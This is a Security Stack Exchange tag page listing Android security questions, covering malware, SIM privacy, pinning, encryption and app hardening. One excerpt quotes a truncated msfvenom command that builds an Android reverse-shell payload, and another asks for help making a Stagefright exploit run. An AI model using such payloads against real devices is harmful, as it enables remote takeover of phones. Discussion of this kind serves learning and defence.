Android is an operating system for mobile devices such as smartphones and tablet computers. Questions tagged [Android] should focus on security of the operating system itself, or of Android specific apps

learn more… | top users | synonyms

3
votes
2answers
80 views

How protect mobile website against encapsulating into rogue native mobile app?

We are developping a mobile application (m.website.com). Is there a way to prevent a rogue developper to build an IOS / Android native app that simply encapsulate our website into the app using ...
0
votes
3answers
103 views

Can the user of an app see what's in the https packets?

If I exchange https packets between a server and an Android client, is it easy for the user of the client to get whatever is in the encrypted traffic? Should I consider all such traffic unsafe if the ...
0
votes
0answers
376 views

Tradeadexchange everywhere. On my mac, android and every browser

The tradeadexchange malware seems to have infected me in every possible way. It pops up new tabs whenever I am browsing on my Mac or Android devices, and also in any browser-Firefox/Chrome/.. ...
2
votes
1answer
233 views

android apk and suid binary

Is it correct for me to assume that, there is no way to make an Android app (APK) to run in root privilege by itself (without an external "su" native executable), even when it is using NDK native code?...
2
votes
0answers
229 views

Securely storing users PIN on Android with fingerprint authentication

I am have an Android app where the user can enter a pin specific to a particular phone to save them entering the full password. I'm now looking at the new fingerprint reader API on Android M where I ...
3
votes
2answers
1k views

How can I prevent `am` from starting my activity?

I have an Android app and it has 3 activities; A, G and B. When the app starts users see Activity A. If user wants to navigate to activity B, app starts activity G and asks for a password. If the ...
1
vote
3answers
209 views

Storing API tokens safely on Android to identify developer

We're building an Android library for our Rest APIs that app developers will access with a unique token. Since it's a paid service, and it's a per-request or per-install pricing model, how do we ...
9
votes
2answers
251 views

What happens if a (google authenticator) one time password QR code is leaked?

When there are QR codes for one time password (OTPs) urls (starting with otpauth://) that are supposed to be looked up in an authenticator app such as Google authenticator, what happens if a user ...
3
votes
1answer
60 views

Server side Client VPN management?

Is this possible, and how? Here's the scenario: Public Web Server hosts basic content for general public. Private server inside a VPN hosts special subscriber content and services. The two servers ...
3
votes
1answer
104 views

Logging sensitive data

My bank's android app is logging session ids, account numbers, money transfers and current balance of my account. Is this normal? Do all banks do that? Can a malicious app read my logs and get my ...
3
votes
1answer
162 views

Android ransomware difficulties [closed]

My phone is a Samsung Galaxy S2. I have somehow gotten some ransomware that is displaying device information, including my name and recent contacts' data. The ransomware starts basically right away, ...
2
votes
2answers
131 views

Data security implications of using Android over iOS [closed]

What are the security implications of using Android as opposed to iOS? Many sources say Android is much less secure and much less capable of handing a user's data in a secure manner. What are the main ...
0
votes
3answers
171 views

If I connect to a website using a cellular network, and change the sim card and connect again with the same phone, will they find its the same phone?

I read on a blog that when you connect to a website with your phone they track the model number id of the device, or something like it. I don't remember what its called. Even if you change your sim ...
-1
votes
1answer
238 views

WhatsApp Forensic Analysis [closed]

I was wondering if anyone is aware of any conferences that cover WhatsApp security on android or something similar. My project requires me to look for three conference papers and justify why they are ...
5
votes
3answers
231 views

How to check if your Android app was updated by MitM?

As I was browsing on my phone yesterday, a gray popup appeared on my screen just as I was swiping up, and I accidentally hit the accept button. In the fraction of a second it was on I was able to read ...
2
votes
0answers
121 views

Security token in android and embedded system

I have an embedded board with a very limited processing and memory resource. I would like to control the board using an android app. The users are categorized into 3 groups: owner of the board. ...
5
votes
1answer
170 views

What do malware authors using android root exploits go after?

I know there has been a lot of discussion on rooting on the internet and even on stack exchange. What I want to ask here is not how rooting works - assuming the root exploit as a black box, what ...
2
votes
1answer
3k views

msfvenom payload problem

This is for educational purposes only! I'm trying to generate android payload using msfconsole payload standalone generator: msfvenom with the command msfvenom -p android/shell/reverse_tcp LHOST=192....
6
votes
2answers
266 views

Is there an equivalent of an Apple cryptochip in Android devices?

Apple has a cryptochip which, beside managing the encryption keys, tunnels authentication and provides throttling of failed attempts, as well as the ability to trigger a device wipe after several ...
2
votes
1answer
59 views

Unknown sources, root, and the Android security conundrum [closed]

This question has 2 aspects, both are related and equally important from a security standpoint: The "Allow installations from unknown sources" option under Security settings. Most other mobile ...
2
votes
1answer
74 views

Yovo screenshot blocker vulnerability [closed]

I was studying Yovo's screenshot blocker and I noticed that when watching their demo, I was easily able to pause the video when the screenshot blocker was taking effect and get a fairly clear view of ...
0
votes
1answer
412 views

Certificate pinning in android apps

I have found a whitepaper on bypassing ssl pinning. If this is true, how can we securely implement certificate pinning in android apps? Is there any other workarounds possible other than certificate ...
0
votes
3answers
2k views

What footprint iOS or Android App leaves? and how to change it

I've read some place that each phone and/or sim leaves some kind of footprints when it uses a social app (Google, Instagram etc.). I would like to stay anonymous or at least blend in with the crowd. ...
5
votes
1answer
102 views

Salting/Hashing a password

I don't have a security background, so I'm not sure on the best approach for this, I'm developing an android app which users will need to login to (all local). I'm going to store the password in a ...
2
votes
0answers
75 views

Google/Apple account for corporate issued mobile phones

We are working on implementing MDM (Airwatch) for all corporate mobile devices (no BYOD will be allowed). But I have a question as what is the best way to avoid users use their personal Gmail or ...
2
votes
1answer
548 views

Is there are any mechanism available in Android platform for remote attestation?

I recently read about PC/Desktops which comes with TPM chips which is used for remote attestation. So following are my questions: Does any Android smartphone comes with TPM chip? Is there any way ...
4
votes
1answer
148 views

Way to keep Google from knowing the SIM card I am using on Android

We see that the the details of the Telecom operator along with other details are available to Google for the SIM card that we are using on an Android Phone. Is there any way that can be applied or ...
3
votes
3answers
176 views

Is it safe returning or giving away a sim card you already used?

I bought a prepaid sim card and used it on my android, but i had a problem using it and would like to return it. Is it safe to do so? I'm wondering if it could now contain my personal information ...
1
vote
1answer
218 views

Network Security with EAP: PEAP and Phase 2: MSCHAPv2?

I want to connect to my college WiFi but I’m worried about the security (data leakage, hacks, MITM). The configuration I used to connect to my college WiFi is as follows, EAP: PEAP Phase 2: MSCHAPv2 ...
11
votes
4answers
3k views

Securely erase personal data from android phone before selling

I have just sold online my old Nexus 5 (Android Lolipop) and need to post it tomorrow morning. I would like to make sure the new owner can't access my files. What should I do?
3
votes
1answer
259 views

Why Can't Google Just Switch to Pushing Android Security Updates Directly to Users?

Okay, I'll just begin with the question and then elaborate a bit below. It is: Why has the world's dominant maker of non-Apple smartphone operating systems, Google, still not adopted a straight-to-...
2
votes
1answer
139 views

Can an Android malware install a SSL/TLS certificate into non-root devices?

Does there exist some standard API that allow an Android malware to download and install a SSL/TLS certificate as RCA, in the default keystore, in non-root devices? I think that this is a very ...
6
votes
1answer
131 views

Can USB host ports be dangerous in uncontrolled environments? Virus etc?

(Note: I was told this post belongs here rather than in Android Enthusiasts) We have an Android device with 2 external USB host ports. Now I wonder what harm can be accomplished by an attacker with ...
1
vote
2answers
183 views

Questions about user authentication over REST API

I'm now trying to implement user authentication on my android app. I, however, have a few questions. I use a REST API. How do I safely request and send data to and from the phone? I'm assuming that I ...
1
vote
0answers
596 views

CVE-2015-3864 - Android Stagefright - how Integer Overflow happens here?

I am trying to understand how "Integer Overflow" happens here and how it works. The vulnerability exists in the chunk of “tx3g”. Chunk_size is the unit which overflows the sum of size. That's to say, ...
4
votes
1answer
491 views

Android Stagefright Google Zero Day Exploit doesn't run. How to fix? [closed]

Exploit is posted here, however it is missing several things, for example shellcode and it binds to localhost for exploitation, cannot access it from Android device when started on my computer. I ...
0
votes
0answers
67 views

Are Android Facebook OAuth tokens vulnerable to theft?

If I have access to someone's unlocked Android phone, is it possible to get hold of their OAuth token for Facebook and use it on another device?
0
votes
1answer
53 views

Encrypt links in android app

I want to hide the links to my server address in my Android app. When my app is decompiled, the links are clearly showing. Even with the proguard enabled I am not able to hide links. How can I ...
0
votes
1answer
131 views

Possible sources of repeated Adware infections

In the last couple of months I have had the same thing happen on separate occasions to two Android phones, a Mac laptop and a Windows desktop computer. In all cases, something infects Chrome making ...
4
votes
2answers
149 views

Phishing/Malware redirection through AdExchange on Android

Issue: Yesterday I discovered a strange behaviour in the Chefkoch.de App. During the search for recipe, Firefox opens up with a (German) phishing warning screen. This happened not only on this ...
1
vote
0answers
138 views

What is the point of signature file in signed JAR/ZIP files

The way JAR signatures (or ZIP for Android) are designed is that they have a manifest file, containing digest for each file in the archive. Then there is a "signature file" that contains digest of ...
0
votes
0answers
67 views

How can I protect a mobile application from LogJam?

I develop a two-factor authentication app on iOS and Android and I recently noticed that they run perfectly fine against a local dev server that is vulnerable to LogJam. Is there any way to secure ...
11
votes
2answers
2k views

Firewall on smartphones

PCs communicate with the help of ports,eg. HTTP communication takes place over port 80. Due to the nature of these ports, an open port is an avenue for an attack. That's where firewalls come in. The ...
0
votes
0answers
64 views

Facebook app permissions

According to an answer to this question : Bypass app permissions, I changed by curiosity the application permission of Facebook and Messenger for the camera to always ask. I'm using CyanogenMod 12.0. ...
3
votes
3answers
500 views

Bypass app permissions

I'm annoyed and actually scared by all the permissions that I have to grant the applications that is running on my Android phone. Is there is a way to bypass them ? Let's say my microphone. My ...
0
votes
0answers
19 views

Is Android WLAN MAC Address vulnerable? [duplicate]

What can a person do if he/she has WLAN MAC Address of my Android Device? What can be done to save my personal information?
5
votes
2answers
165 views

Factory reset on a smartphone

On resetting a smartphone, the default factory image replaces the OS completely and restores it to known good settings. Is there any known way by which this default image can be compromised? On ...
4
votes
3answers
492 views

How is “Touch Jacking” prevented on iOS, Android, and Win 10 - touch?

I'm looking at the security of both iOS and Android from a Touch-jacking security perspective. In other words, I expect that an application can be in a secure state to ensure that no overlays, screen ...
4
votes
1answer
186 views

Is Chrome for Android leaking my phone number?

I accidently clicked on an advertisement, and opened it with chrome. It was one of those things where you can subscribe to an App Store for £4.50 a week for apps which are usually free anyway. ...
3
votes
1answer
395 views

Is it safe to use a 4-digit PIN for Android system encryption?

I just encrypted my Android phone using the default menu. I was asked for a PIN code (4 digits). Do you think this is a good practice? Is there a limited number of attempts at decrypting the ...